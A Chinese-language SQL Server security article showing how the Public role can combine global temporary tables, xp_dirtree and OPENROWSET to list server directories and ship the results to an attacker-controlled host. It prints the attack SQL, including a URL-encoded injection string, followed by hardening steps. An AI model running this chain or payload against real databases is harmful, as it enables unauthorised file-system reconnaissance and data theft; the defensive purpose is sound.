網上流傳「Public權限無法利用 xp_dirtree、xp_regread 因無建表權限」的觀點實屬誤導。實測證明:Public角色可創建全局臨時表 (##table),配合 OPENROWSET 即可實現目錄遍歷與數據外帶。本文揭示攻擊鏈路並給出修復方案。
-- 1. 創建全局臨時表 (Public有權限)
CREATE TABLE ##nonamed (dir NTEXT, num INT);
-- 2. 調用擴展存儲過程寫入目錄列表
INSERT ##nonamed EXEC master..xp_dirtree 'C:\', 1;
-- 3. 通過OPENROWSET將數據外帶到攻擊者控制的數據庫
INSERT INTO OPENROWSET('SQLOLEDB', 'AttackerIP';'user';'pass', 'SELECT * FROM TargetDB.dbo.dirtree')
SELECT * FROM ##nonamed;
關鍵點:## 全局臨時表跨會話可見;OPENROWSET 需目標實例開啟 Ad Hoc Distributed Queries。
URL編碼 ##nonamed → %23%23nonamed,注入點構造:
...; CREATE TABLE %23%23nonamed(...); INSERT %23%23nonamed EXEC master..xp_dirtree 'C:\',1; --
EXEC sp_dropextendedproc 'xp_dirtree';EXEC sp_dropextendedproc 'xp_subdirs';EXEC sp_dropextendedproc 'xp_fileexist';EXEC sp_dropextendedproc 'xp_availablemedia';EXEC sp_dropextendedproc 'xp_regread';EXEC sp_dropextendedproc 'xp_regwrite';EXEC sp_dropextendedproc 'xp_cmdshell'; (若不需)EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries', 0; RECONFIGURE;REVOKE EXECUTE ON xp_dirtree TO PUBLIC; (若保留擴展存儲過程)xp_、OPENROWSET、CREATE TABLE ## 異常調用。以低權限賬號登錄 SSMS,執行攻擊腳本,應報錯:
Msg 229, Level 14, State 5: The EXECUTE permission was denied on the object 'xp_dirtree', database 'mssqlsystemresource', schema 'sys'.
Public角色並非「無害」,其擁有創建全局臨時表權限,配合擴展存儲過程可成信息洩露跳板。禁用不必要的擴展存儲過程、關閉 Ad Hoc 分布式查詢 是根治之道。建議納入SQL Server安全基線清單定期核查。